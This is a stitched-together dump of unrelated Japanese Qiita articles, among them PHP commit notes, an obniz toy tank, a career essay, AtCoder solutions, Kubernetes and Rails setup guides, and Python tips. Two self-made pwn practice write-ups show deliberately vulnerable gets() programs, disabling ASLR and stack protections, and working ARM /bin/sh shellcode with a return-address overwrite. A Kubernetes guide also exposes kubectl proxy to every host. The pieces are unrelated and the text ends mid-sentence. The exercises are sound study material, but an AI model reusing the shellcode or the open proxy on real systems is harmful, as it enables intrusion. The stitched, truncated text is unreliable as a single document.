OmniAICreator/Qiita-1.07M huggingface dataset:
php-master-changes 2018-09-23

# 2018-09-23
## nikic: Drop ext/spl/spl.php
- https://github.com/php/php-src/commit/9faff4f78306bf0580b95460e3dccee841197a40
- [ext/spl のドキュメント用 php を先月削除](https://qiita.com/sj-i/items/0cb8e791d4a2e7f3a2c0#carusogabriel-drop-splinternal-documentation)したが、残ってるのがあったので削除

## nikic: Remove duplicate test file
- https://github.com/php/php-src/commit/e188d2fe0e384ae9c411b8387fea5d36e8d0f62f
- 重複したテストファイルを削除

## nikic: Drop WE_DONT_COPY_IN_BUFFERED_AND_UNBUFFERED_BECAUSEOF_IS_REF
- https://github.com/php/php-src/commit/152dc924c565330619a90f99dc1f223bb22ac420
- ext/mysqlnd の WE_DONT_COPY_IN_BUFFERED_AND_UNBUFFERED_BECAUSEOF_IS_REF マクロを削除
- なんかよう分からんけど ext/mysqlnd がリポジトリ入った当初からあって、元々 define するコードがなかった感じかな？

## weltling: [ci skip] Update NEWS
- https://github.com/php/php-src/commit/da17686d605a6aaee792c71ab63608b4476dcf01
- [7.3~]
- [一昨日の pcre2 周りの修正](https://qiita.com/sj-i/items/5e56de00e0bc87d1f994#weltling-upgrade-pcre2-to-1032)を NEWS に追記

## bugreportuser: Remove unnecessary base64_encode() return value check
- https://github.com/php/php-src/commit/59d99a2c47b0af2d18685dbc5ef568d5427adf4f
- [base64_encode()](http://php.net/manual/ja/function.base64-encode.php) の不要な返り値チェックを削除

## nikic: Handle binary_op failure in overloaded assigns
- https://github.com/php/php-src/commit/c5f108c66ce54ae5ab54d8818d79492d3be2841d
- マジックメソッドなどで代入演算の挙動がオーバーロードされる際、複合代入演算子で例外が起きた際の挙動が一貫していないのを修正
- やってみると[なんだこれ感](https://3v4l.org/H17Zf)がある

## nikic: Bump minimum libxml version to 2.7.6
- https://github.com/php/php-src/commit/74235ca5f3fae3325175cf0e68cd7e28c86e1378
- libxml の最低バージョンを 2.7.6 に引き上げ

## petk: Sync ext/spl/README with current set of example files
- https://github.com/php/php-src/commit/9e5853b69900a34a8ad64c2f841367a3a8630213
- ext/spl の README で example なファイルについての言及が古くなっていたので修正
続編）ダイソープラレール＊２＋Obnizで作るIoTリモコンカー（戦車版：ゴム鉄砲発射機能を追加）

#概要
前編の
https://qiita.com/keicafeblack/items/de2e4f408e7103049929
にゴム鉄砲機能を追加して戦車にしました。

この機能が付いただけで、うちの息子達は大興奮でした。
男の子はこういうのが大好きですよね。
![videotogif_2018.09.24_15.57.31.gif](https://qiita-image-store.s3.amazonaws.com/0/181708/91ecd0d0-218d-7fba-9304-166035e8c12f.gif)

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">IoTダイソープラレール戦車　VS　ウルトラマン <a href="https://t.co/0hKtRQKg22">pic.twitter.com/0hKtRQKg22</a></p>&mdash; keicafeblack (@keicafeblack) <a href="https://twitter.com/keicafeblack/status/1044123179856224257?ref_src=twsrc%5Etfw">2018年9月24日</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



割りばしとサーボモーターをテープで止めるだけなので、10分ほどで完成です。
![KIMG3752.jpg](https://qiita-image-store.s3.amazonaws.com/0/181708/cf4e4314-765f-8f4a-272b-f874c761a031.jpeg)


#追加材料
・割りばし
・サーボモーター

#コード
```JavaScript:obniz_tank.html
<!-- HTML Example -->
<html>
<head>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <script src="https://obniz.io/js/jquery-3.2.1.min.js"></script>
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" integrity="sha384-WskhaSGFgHYWDcbwN70/dfYBj47jz9qbsMId/iRN3ewGhXQFZCSftd1LZCfmhktB" crossorigin="anonymous">
  <script src="https://unpkg.com/obniz@1.9.3/obniz.js" crossorigin="anonymous"></script>
</head>
<body>

<div id="obniz-debug"></div>
  <br>
<button id="lf" class="btn btn-warning" style="width:45%;height:100px;font-size:50px;">↑</button>
<button id="rf" class="btn btn-warning" style="width:45%;height:100px;font-size:50px;">↑</button>
  <br>
  <br>
<button id="lb" class="btn btn-primary" style="width:45%;height:100px;font-size:50px;">↓</button>
<button id="rb" class="btn btn-primary" style="width:45%;height:100px;font-size:50px;">↓</button>
    <br>
  <br>
  <button id="on">ON</button>
  <button id="off">OFF</button>
  
<script>
var obniz = new Obniz("OBNIZ_ID_HERE");
obniz.onconnect = async function () {
  var motorA = obniz.wired("DCMotor",  {forward:3, back:2});
  motorA.power(40);
  var motorB = obniz.wired("DCMotor",  {forward:0, back:1});
  motorB.power(40);
  
    var servo = obniz.wired("ServoMotor", {gnd:4, vcc:5, signal:6});


  $("#lf").on('touchstart mousedown', ()=>{
    motorA.move(true);
  })
  $("#lf").on('touchend mouseup',()=>{
    motorA.stop();
  })
  $("#lb").on('touchstart mousedown',()=>{
    motorA.move(false);
  })
  $("#lb").on('touchend mouseup',()=>{
    motorA.stop();
  })
  
  $("#rf").on('touchstart mousedown',()=>{
    motorB.move(true);
  })
  $("#rf").on('touchend mouseup',()=>{
    motorB.stop();
  })
  $("#rb").on('touchstart mousedown',()=>{
    motorB.move(false);
  })
  $("#rb").on('touchend mouseup',()=>{
    motorB.stop();
  })
  
        $("#on").on("click",function(){
      servo.angle(100.0); // half position

      });
      $("#off").on("click",function(){
      servo.angle(180.0); // 180 position
    });
}

</script>
</body>
</html>
```
#参考にしたサイト
[Qiitaに動画を埋め込む方法](https://qiita.com/akameco/items/6ff78b0918e96f871f57)
アラサー未経験からのIT転職

# はじめに
私はアラサー未経験でIT業界に入った。

アラサー未経験からの転職は確かに可能である。
実際にこんなスペックの私でも達成できた。

- 大学２留
- 卒業後、ニート
- 職歴なし

しかし、平坦な道のりではなく、大きなハンディキャップがあるのは確か。
それを理解していても、あえて挑戦する人を私は応援したい。

この度は転職から3年が経過しようとしているので、自分の振り返りも兼ねて転職に至った経緯を書くことにした。
かつての私と同様に現在、アラサーで転職活動をしている人の励みになればいいと思う。

# 準備はほどほどにいざ就活！
IT業界に入ると決めた後、スーツやカバン・靴など就活に必要なものを揃えると、私は某大手転職エージェントにアポイントメントを取った。
このときの心境は｢アラサー未経験だけど偏差値60ぐらいの四大卒だし、IT業界ぐらい中小でよいならどこか簡単に決まるでしょｗ｣だった。
今思えば、これが全ての誤りだった…。

# 就活は難易度ルナティックだった
とりあえず、転職エージェント求人を紹介してもらった。
紹介してもらえたITの求人は1件だった…。
｢SEはあなたの年齢では遅すぎる、紹介できる求人はほぼないし、就職は難しいだろう｣とエージェントに言われた。
私は絶望したが、その1件に一縷の望みをかけて受けてみることにした。

# 面接で面接官とレスバしてしまう
エージェントに面接のアポイントメントは取ってもらい、面接に行くことにした。
しかし、面接担当の方に出迎えられたときに、早速ジャブを食らってしまう。

面接官｢(ニヤニヤしながら)君みたいの取ってないんだけど｣

僕　　「御社は求人票にテキトーなことを書いてるんですねｗ」

反射的にカウンターをしてしまい、面接は当然ながら落ちた。
落ちたが、このとき同時に何かスイッチが入った。

｢絶対にITに入ってやる、と｣

# ハロワに行ってみた
次にハロワに行くことにした。
ネットでのリサーチした結果、若年層向けの就職支援事業を知ったからである。
内容は「採用意欲のある企業に派遣され1ヶ月の研修を受け、その後採用面接へ」と行ったもの。
実際にIT企業で研修を受けることができることに魅力を感じた。

だが、ここでも落とし穴が待ち受けていた…。

# 話と求人票の内容が違う
面談の結果、SEO対策をやっている会社に派遣されることとなった。
しかし、面談の話と違い、研修は営業向けの内容。

加えて、偶然、他の受講者に見せてもらった求人票にはIT系の職種の募集はなかった。
1回研修を受けてから初めて求人票を見るようになる仕様であるらしい。
何らかの大人の事情により、開示しないこととなっていたのだろう。
激しくゴネてみたら問題になってしまったらしく、その後は事前に求人票も開示するようになったという。

当然ながら、私はその研修を断った。
公共のサービスの恐ろしさを知ったｗ

# ガチャ引き直し、ベンチャー企業の研修へ
ハローワーク側(正確には下請けの会社)と話し合った結果、マッチングをやり直すこととなった。
行き先はすんなりと決まり、ITのベンチャー企業に派遣されることとなった。
その企業さんは非常に魅力的な会社さんでFinTechの自社製品を売りにし、開発言語はメインはC＃、数年前ということを考えるとかなり先進的な事業を展開していた。
教えてくださる社員の方もスキルが高く良い方ばかりで尊敬したし、ここで本気で働きたいと思った。

そして1ヶ月の研修を終え、いざ採用面接へ…。

が、不採用。
案件状況など色々な事情があったが、主な原因は完全に僕の実力不足としか言いようがない。
その企業さんには本当に感謝している。

この経験があったおかげで更に｢絶対にIT｣という気持ちがより強くなった。

# 完全無料のITスクールに行ってみた
流石に方針転換をすることにした。

ここまでアプリの開発をメインに就職活動してきたものの、年齢的にも厳しいものがあるらしい。
市場のニーズというものはどうしようもないので、ハードルが低く採用される年齢レンジが広いらしいインフラを選択することとした。
貯金がかなり目減りしていたのでスクールの費用を払う余裕がなく、完全無料で就職活動のサポートもセットにしている某ITスクールに通うこととした。

# 最後はあっさり就職できた
スクールに通い始めて、二ヶ月半後…あっさりと内定が出ていた。

｢最初からこうしておけばよかった｣と思わなくもないが、大分遠回りしてしまったから、ここまでやりきることができたのだと思う。
実際に最初は15人いたが、最後までやりきったのは8人(うち転職までこぎつけたのは7人)。
｢要領悪ｗ｣と思われるかもしれないし実際にそうだと思うけど、ここまでやるぐらいの覚悟じゃないとITの転職は厳しいんじゃないか？と思う。

# まとめ
正直、もっとやり方を考えれば、すんなりと転職できたと思う。
僕の事例はかなりコストがかかるのでおすすめはできないが、どんなプランを選択したとしても少なくないコストと時間がかかるのは確かである。

ITへの転職を考え始めている人へ
ネット上には色々な情報や広告があるけども、実際は泥臭く辛いことも多い。
｢それでもIT｣と思うのであれば、私は止めはしないし応援する。

現在、勉強中・転職活動中の人へ
本当にITは多種多様で変化が激しいし刺激が多く面白い業界だ。
少なくとも、僕は今の所ITの仕事以外をやるつもりはない。
早くこっちにこいよ。
OpenShift のRouter機能を最大限活用する

# OpenShiftとは？

コンテナを運用する基盤、KubernetesをEnterprise向けに拡張したものですね。

# Routerとは？

OpenShift は Kubernetes のデフォルトの機能に加えて簡単に外部公開する仕組みが整っています。この仕組みをRouterと呼び、yamlで設定を書くことで簡単にアプリケーションを公開できるようになっています。

Routerの実装はha-proxyがベースになっており、コンテナ内部にあるhaproxy-config.templateからhaproxy.configを自動生成する仕組みになっています。

# StickySessionの実現

OpenShiftのRouterはデフォルトでStickySessionがONになっています。
ha-proxyの設定で「cookie」という項目がありますが、これがランダムな名前で設定されます。
これをコントロールするには各アプリのRouterの設定yamlにannotationを設定します。
例えばStickySessionに使用するCookieの名称をランダムではなく、固定にしたい場合は～～～/cookie_nameというannotationを設定します。※cookie_nameの前の名称は忘れました。後で追記しときます。

# Routerデフォルト動作の変更

Routerはdefaultプロジェクトに作成されている「Router」アプリケーションが実態です。このRouterのPodが起動しているNodeにDNS-RoundRobinで均等に割り振ることで動作しますが、RouterのDeploymentConfigに環境変数を設定することでデフォルト動作を変更することができます。
例えば、StickySessionを使用したくない場合は無効化する環境変数がありますのでこれを設定します。

# まとめ

Router機能、仕組をしっかり理解して使いこなすにはha-proxyやDNS等の知識が欲しいところですが、理解できれば非常に便利です。
インフラを高度に抽象化して操作を簡単にした良い仕組と言えると思います。
現在OpenShiftの検証環境を運用しておりますが、今のところ一切Router起因の障害は経験しておらず、安定性も◎かと思います。

# 補足

適当に20分ほどで思い付きで書いた記事なので後で絵いれたりしれっと改変するかもしれません。
at coder beginner039

TK国のエージェントである高橋君は、とある正整数 X を青木君から受け取りました。
しかし実は青木君はAO国のスパイであり、本来渡すべき正整数を 4 乗したものを渡していました。
つまり、本来渡すべき正整数を N とすると、X=Nの4乗 です。
高橋君は非常に優秀なのでこれを見破りましたが、計算が苦手なので元の正整数、つまり N はなんだったのかがわかりません。
なので代わりにあなたが N を求めてください。

関数の使い方講座や
sqrt(x)でxの平方根を得る
round(x)で四捨五入して整数に丸めた値を返す。

```
#include<iostream>
#include<cmath>
using namespace std;
int main() {
	int X;
	cin >> X;
	cout << round(sqrt(sqrt(X))) << endl;
	return 0;
}
```

C

```
#include<iostream>
#include<algorithm>
#include<vector>
#include<string>
#include<list>
#include<cmath>
#include<map>
using namespace std;
using ll = long long;
const int INF = 1e9;
#define rep(i,n)for(int i=0;i<n;++i)
#define p pair<int,int>
int main() {
	string S;
	cin >> S;
	vector<string>V{ "Mi","Fa","Fa","So","So","La","La","Si","Do",
					 "Do","Re","Re" };
	for (int i = 0; i < S.size(); ++i) {
		if (S[i] == 'W'&& S[i + 1] == 'W') {
			if (S[i + 6] == 'B') {
				if (i == 0)cout << V[0] << endl;
				else {
					cout << V[12 - i] << endl;
				}
			}
			else {
				cout << V[7 - i] << endl;
			}
			return 0;
		}
	}

	return 0;
}
```
at coder beginner 038

B
高橋くんは2つのディスプレイを買いました。片方のディスプレイのサイズは高さH1mm、幅W1mmで、もう片方のサイズは高さH2mm、幅W2mmです。
ディスプレイを机に横に並べて置くことになりました。それぞれのディスプレイは、そのまま置くか、90度回転させて置くかのどちらかです。
2つのディスプレイを机に横に並べて置き、高さを揃えることができるか判定してください。

```
#include<iostream>
using namespace std;
int main() {
	int H[2], W[2];
	cin >> H[0] >> W[0];
	cin >> H[1] >> W[1];
	bool c = false;
	for (int i = 0; i < 1; ++i) {
		for (int j = 1; j < 2; ++j) {
			if (H[j] == W[i] || H[j] == H[i]||W[j]==H[j]||W[j]==W[i])
				c = true;
		}
	}
	if (c)
		cout << "YES" << endl;
	else
		cout << "NO" << endl;
	return 0;
}
```
一般化してやってみたけど一問だけ通ってなかったうーんなんでかな時間かなやっぱり

```
#include<iostream>
using namespace std;
int main() {
	int a, b, c, d;
	cin >> a >> b;
	cin >> c >> d;
	if (a == c || a == d || b == c || b == d)
		cout << "YES" << endl;
	else
		cout << "NO" << endl;
	return 0;
}
```
これなら通った。納得いかない（笑）

C
N個の数からなる数列が与えられます。i番目の数をaiと呼びましょう。
al,al+1,…,ar が単調増加、すなわち l≦r であって ai<ai+1 がl≦i<r を満たす全てのiに対して成り立つような(l,r)の数を求めてください。

制約
1≦N≦105
1≦ai≦105
aiは全て整数である

```
#include<iostream>
#include<algorithm>
#include<vector>
#include<string>
#include<list>
#include<cmath>
#include<map>
using namespace std;
using ll = long long;
const int INF = 1e9;
#define rep(i,n)for(int i=0;i<n;++i)
#define p pair<int,int>
int main() {
	int N;
	cin >> N;
	vector<int>a(N + 10);
	int sum = 1;
	ll ans = 1;
	cin >> a[0];
	for (int i = 1; i < N; ++i) {
		cin >> a[i];
		if (a[i] > a[i - 1]) {
			sum++;
		}
		else {
			sum = 1;
		}
		ans += sum;
	}
	
	cout << ans<< endl;
	return 0;
}
```
解法１

```
pwnの練習問題 その2

#概要
pwnの練習問題、作って見た。
shellcode、使う。

#問題
下記のプログラムの脆弱性を突いて、シェルを起動せよ。

```
#include <stdio.h>

void hexdump(char * buf0)
{
	char hd[] = "0123456789abcdef";
	int i;
	for (i = 0; i < 40; i++)
	{
        printf ("%c", hd[buf0[i] >> 4]);
        printf ("%c", hd[buf0[i] & 0xf]);
        printf (" ");
    }
	printf ("\n");
}
int main()
{
	char buf[40];
	printf("%p\n", buf);
	gets(buf);
	hexdump(buf);
}
```

#コンパイルする

```
gcc -fno-stack-protector -zexecstack test.c
```

#静的調査

```
pwn checksec a.out
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/pi/pwn1/a.out'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000)
    RWX:      Has RWX segments
```

#動的調査
Aが、45個でSegmentation fault

```
echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./a.out

Segmentation fault
```


#方針

バッファオーバーフローを利用して、リターンアドレスを書き換えて、送り込んだシェルコードを実行させる。

#gdbで調査

bufのアドレス、0xbeffefd0

#コードを作成

```
echo -ne "\x0f\x00\xa0\xe1\x14\x00\x80\xe2\x02\x20\x22\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00AAAAAAAA\xd0\xef\xff\xbe" | ./a.out
```
#結果
Segmentation fault

#調査、対策
bufのアドレスが、毎回、変わる。ASLRだ。
ASLRを止める。

```
sudo sysctl -w kernel.randomize_va_space=0
```
#コード作成、実行（正解）

```
echo -ne "\x0f\x00\xa0\xe1\x14\x00\x80\xe2\x02\x20\x22\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00AAAAAAAA\xf0\xef\xff\xbe" > buf
(cat buf; cat) | ./a.out
0xbeffeff0

0f 00 a0 e1 14 00 80 e2 02 20 22 e0 05 00 2d e9 0d 10 a0 e1 0b 70 a0 e3 00 00 00 ef 2f 62 69 6e 2f 73 68 00 41 41 41 41 
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
pwd
/home/pi/pwn1
exit
```

以上。
Swift UITableViewCell 特定のセルだけ線を消す

# Swift UITableViewCell 特定のセルだけ線を消す

separatorInsetの調整
https://developer.apple.com/documentation/uikit/uitableview/1614851-separatorinset

```swift
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {

    let cell = tableView.dequeueReusableCell(withIdentifier: R.reuseIdentifier.Cell, for: indexPath)!
    cell.separatorInset = UIEdgeInsets(top: 0, left: self.view.bounds.width, bottom: 0, right: 0)
    return cell
}
```
ubuntuにkubernetesをインストールしてdashboardを表示する方法

Ubuntuのkubernetesでダッシュボードを表示する方法です。
kubectlだけで管理するのはやはりしんどい。。。

他ホストからのダッシュボード表示も記載しています。

---

#### #公式サイト
[公式ドキュメント](https://kubernetes.io/docs/getting-started-guides/ubuntu/)

#### #環境

``` Bash
# cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.1 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.1 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
```

#### #kubernetesのインストール

公式ドキュメントを参考に下記コマンドでインストール

``` bash
# apt-get update && sudo apt-get install -y apt-transport-https curl
# curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -
# cat <<EOF >
/etc/apt/sources.list.d/kubernetes.list
deb http://apt.kubernetes.io/ kubernetes-xenial main
EOF

# apt-get update
# apt-get install -y kubelet kubeadm kubectl
```

#### #swapoff

スワップを切っておきます（1.8かららしいです）

``` Bash
# swapoff -a
```

#### kubectlを有効化

``` Bash
# mkdir -p $HOME/.kube
# cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
# chown $(id -u):$(id -g) $HOME/.kube/config
```

kubectlを叩くためのコマンドのconfigファイルが生成されるので配置します
kubeadm initした時に最後に書いてある
※ファイルを移動した場合は環境変数を変更する必要があるので注意です

``` bash
# mkdir -p $HOME/.kube
# cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
# chown $(id -u):$(id -g) $HOME/.kube/config
```

#### #ダッシュボードを有効化

``` bash
# curl -O https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml
```

上記ファイルを指定してcreateして実行

``` bash
# kubectl create -f kubernetes-dashboard.yaml

# kubectl proxy
```

上記で実行したホストのブラウザを実行し
[http://127.0.0.1](http://127.0.0.1)
へアクセスすることでダッシュボードが表示されます。

#### #実行ホスト以外からダッシュボードが見たい

基本的にkubernetesのダッシューボードをインストールしたホストでブラウザを見ることは
少ないと思います。
その時に上記の方法だけでは他ホストからダッシューボードへはアクセスできないので下記設定を行います。

yamlを指定して削除

``` bash
# kubectl delete -f kubernetes-dashboard.yaml
```

yamlを編集します
1行追記するだけです。

``` bash:kubernetes-dashboard.yaml
   116          args:
   117            - --auto-generate-certificates
   118            # Uncomment the following line to manually specify Kubernetes API server Host
   119            # If not specified, Dashboard will attempt to auto discover the API server and connect
   120            # to it. Uncomment only if the default does not work.
   121            # - --apiserver-host=http://my-address:port
   122            - --apiserver-host=http://192.168.1.156:8001 //IPを指定して追記
   123          volumeMounts:
   124          - name: kubernetes-dashboard-certs
   125            mountPath: /certs
   126            # Create on-disk volume to store exec logs
   127          - mountPath: /tmp
   128            name: tmp-volume
   129          livenessProbe:
```

上記のように設定したら再度create

``` bash
# kubectl create -f kubernetes-dashboard.yaml
```

アクセス件を設定して実行

``` bash 
# kubectl proxy --address 0.0.0.0 --accept-hosts '.*'
```

これで他ホストからIPアドレスとポート番号の指定でダッシュボードの表示が可能になります。
こちらに関してセキュリティ面に関してガバガバなので注意が必要です。
RubyOnRailsでのアプリケーション開発①

##はじめに
プログラミング初学者のためインプットしたものをリマインドを兼ねて、アウトプットしていきたいと思います
##目的：　RubyOnRailsで開発する準備をする
RubyOnRailsの開発環境が整ったら、実際にアプリケーションを開発していきます。

ターミナルを使い、開発に必要なフォルダやファイルの用意とサーバーの起動、トップページの作成をする。

##〜RubyOnRailsのコマンド〜
- `$ rails new sample_app`

Railsで開発を始めるには、「rails new アプリケーション名」という
コマンドをターミナルで実行します。

入力したアプリケーション名と同名のフォルダが作成され、その中に開発に必要なフォルダやファイルが用意されます。

- `$ rails server`

開発中のアプリケーションをブラウザで表示するためには、サーバーを起動する必要があります。

サーバーの起動は、「rails server」というコマンドを実行するだけで完了です。

サーバーを起動した後、ブラウザで「**localhost:3000**」というURLにアクセスすると、ブラウザに表示される。

<img width="746" alt="スクリーンショット 2018-09-24 11.12.18.png" src="https://qiita-image-store.s3.amazonaws.com/0/253832/de74d272-4e7d-e2c5-6251-933fffe78715.png">
上図が表示されれば、完了。

`$ rails generate controller home top`

「rails generate controller home top」
というコマンドをターミナルで実行すると、トップページが作成できます。

このコマンドを実行すると、新しいWebページが自動で作られ、
「**localhost:3000/home/top**」というURLにアクセスできるようになります。

##結果: RubyOnRailsで開発する下準備が完了

開発に必要なフォルダやファイルを作成し、サーバーに接続、トップページの作成が完了しました。 
次回は、Webページ作成に必要な、view、controller、rootingをまとめます。
pwnの練習問題

#概要
pwnの練習問題作って見た。

#問題
下記の、プログラムの脆弱性を突いて、ctf関数を実行せよ。

```
#include <stdio.h>

void ctf()
{
	puts("You Cool!");
	exit(0);
}

int main()
{
	char buf[10];
	gets(buf);
	printf("%p\n", buf);
	return 0;
}
```

#環境の調査

uname -a

```
Linux raspberrypi 4.4.34+ #930 Wed Nov 23 15:12:30 GMT 2016 armv6l GNU/Linux
```

gcc --version

```
gcc (Raspbian 4.9.2-10) 4.9.2
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
```

lsb_release -a

```
No LSB modules are available.
Distributor ID:	Raspbian
Description:	Raspbian GNU/Linux 8.0 (jessie)
Release:	8.0
Codename:	jessie
```

#コンパイルする。

```
gcc -fno-stack-protector -zexecstack test.c
```

#静的調査

```
pwn checksec a.out
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/pi/pwn1/a.out'
    Arch:     arm-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000)
    RWX:      Has RWX segments
```

#動的調査
Aを19個でSegmentation fault

```
echo -ne "AAAAAAAAAAAAAAAAAAA" | ./a.out
0xbec9c00c
Segmentation fault
```
#方針

バッファオーバーフローでリターンアドレス書き換えて、CTF関数を実行させる。

#gdbで調査

ctf関数のアドレスは、0x000104b0

#コードを書く（正解）

```
echo -e "AAAAAAAAAAAAAAAA\xb0\x04\x01\x00" | ./a.out
```

以上。
Python3 忘備録 リスト

# Python3 リスト

Python3 でリストは値を `[ ]` で括ることで作成出来る。

```
sample_list = ["abc", 123, true]
```

- 値は `,` カンマで区切る
- リストの値は異なる型であってもよい

## 値へのアクセス
リスト内の値はゼロから始まるインデックスで管理されている。上記例だと `sample_list[0]` は `"abc"` であり、 `sample_list[1]` は `123` である。

不特定多数の値があり、最終の値にアクセスしたい場合はインデックスを `-1` とすれば最終の値にアクセスできる。また `-2`, `-3` とすれば最後から2つ目、3つ目というふうにアクセスできる。

## リストへの値の追加
リストの最後に値を追加したい場合、`append()` メソッドを使う。

```
sample_list.append(3.14)
# リストは ["abc", 123, true, 3.14] になる
```

## リストの値を変更
特定の値を変更したい場合、その値のあるインデックスを指定して変更ができる。

```
sample_list[2] = false
# リストは ["abc", 123, false, 3.14]
```

## インデックスを指定して値追加
特定のインデックスとして値を追加したい場合、`insert()` メソッドを使う。

```
sample_list.insert(0, "789")
# リストは ["789", "abc", 123, false, 3.14]
```

## リストから特定の値を削除
リストからインデックスを指定して、その値を削除したい場合 `del` を利用する。

```
del sample_list[0]
# リストは ["abc", 123, false, 3.14] になる
```

## リストから値を取り出す
リストの最後の値、もしくは指定された値をそのリストから削除しつつその値を返すには `pop()` メソッドを使う。

```
pi = sample_list.pop()
# pi は 3.14 を持ち、 sample_list は ["abc", 123, false] になる。

first_3char = sample_list.pop(0)
# first_3char は "abc" を持ち、 sample_list は [123, false] になる。
```

## 値を指定して、リストから削除
値を指定してリストから削除する場合、`remove()` メソッドを使う。

```
sample_list.remove(false)
# sample_list は [123] になる。
```

`remove()` で指定した値が複数リスト内に存在する場合、一番若いインデックスに紐付いた値が一つだけ削除される。

```
new_sample = [123, 456, 456, 456, 789]
new_sample.remove(456)
# new_sample は [123, 456, 456, 789] になる。
```
at coder beginner 037

B
長さ N の数列 {ai} があります。最初、この数列の全ての要素は 0 です。
この数列に対し、計 Q 回次の操作を入力で与えられた順に行ってください。
数列の Li 番目から Ri 番目 (両端を含む) を Ti に書き換える。ただし、数列の最初の要素が 1 番目である。
最終的に数列の各値が何になったかを求めてください。

```
#include<iostream>
using namespace std;
int main() {
	int N, Q;
	int L[110], R[110], T[110];
	int a[110];
	cin >> N >> Q;
	for (int i = 0; i < N; ++i) {
		a[i] = 0;
	}
	for (int i = 0; i < Q; ++i) {
		cin >> L[i] >> R[i] >> T[i];
		for (int j = L[i] - 1; j < R[i]; ++j) {
			a[j] = T[i];
		}
	}
	for (int i = 0; i < N; ++i) {
		cout << a[i];
		cout << endl;
	}
	return 0;
}
```

C
長さ N の数列 {ai} と1 以上 N 以下の整数 K が与えられます。 この数列には長さ K の連続する部分列が N−K+1 個あります。これらのそれぞれ部分列に含まれる値の合計の総和を求めてください。

制約
1≤K≤N≤105
0≤ai≤108
ai は整数である。

```
#include<iostream>
#include<algorithm>
#include<vector>
#include<string>
#include<list>
#include<cmath>
#include<map>
using namespace std;
using ll = long long;
const int INF = 1e9;
#define rep(i,n)for(int i=0;i<n;++i)
#define p pair<int,int>
int main() {
	ll N, K;
	ll a[100010];
	cin >> N >> K; 
	ll sum = 0;
	for (int i = 0; i < N ; ++i) {
		cin >> a[i];
	}
	for (int i = 0; i < N - K + 1; ++i) {
		for (int j = i; j < i+K; ++j) {
			sum += a[j];
		}
	}
	cout << sum << endl;
	return 0;
}
```
LoLのAPI, Riot Games APIのチートシート

#現在のバーション番号の取得
https://ddragon.leagueoflegends.com/api/versions.json
※先頭の値 ＝ 最新バージョン

#各値のバージョンのエンドポイント
https://ddragon.leagueoflegends.com/realms/jp.json

#各チャンピオンのデータ取得
http://ddragon.leagueoflegends.com/cdn/[current_version]/data/ja_JP/champion.json
※[current_version]は「現在のバーション番号の取得」で取得

#各アイテムのデータ取得
http://ddragon.leagueoflegends.com/cdn/[current_version]/data/ja_JP/item.json
※[current_version]は「現在のバーション番号の取得」で取得
【unity】Textがぼやけるときの対処

1.Text componentの**Horizontal Overflow**と、**Vertical Overflow**を両方とも**Overflow**にして、**FontSize**を最大にします。
<img width="295" alt="8eb02a1bdd495b5f1b3bacfe99ed6d56.png" src="https://qiita-image-store.s3.amazonaws.com/0/294621/44d07158-51c2-1d40-c557-bc387a3732b7.png">
2.**Text component**がついてるオブジェクトの**scale**をお好みの大きさに縮小させたらクリアに映ります。
<img width="291" alt="bd608a418d40ff02e41e0a98412d1b30.png" src="https://qiita-image-store.s3.amazonaws.com/0/294621/922c482a-14df-29ac-1955-b1c51c8538f5.png">
Pythonでrangeで作ったリストを逆順で走査

```python
for i in range(10):
    print(i, end=' ')
# 0 1 2 3 4 5 6 7 8 9 

for i in reversed(range(10)):
    print(i, end=' ')
# 9 8 7 6 5 4 3 2 1 0 
```
ブラウワーの直観主義における心的構成の概念について（その１）

数学における直観主義的な考え方は、ブラウワー（L.E.J.Brouwer）による1907年論文「数学の基礎について」"On the foundations of mathematics"においてはじめて明らかにされたと言われる。その主張としては、金子洋之（2006）『ダメットにたどりつくまで』のp.41に要約があるので以下引用する。
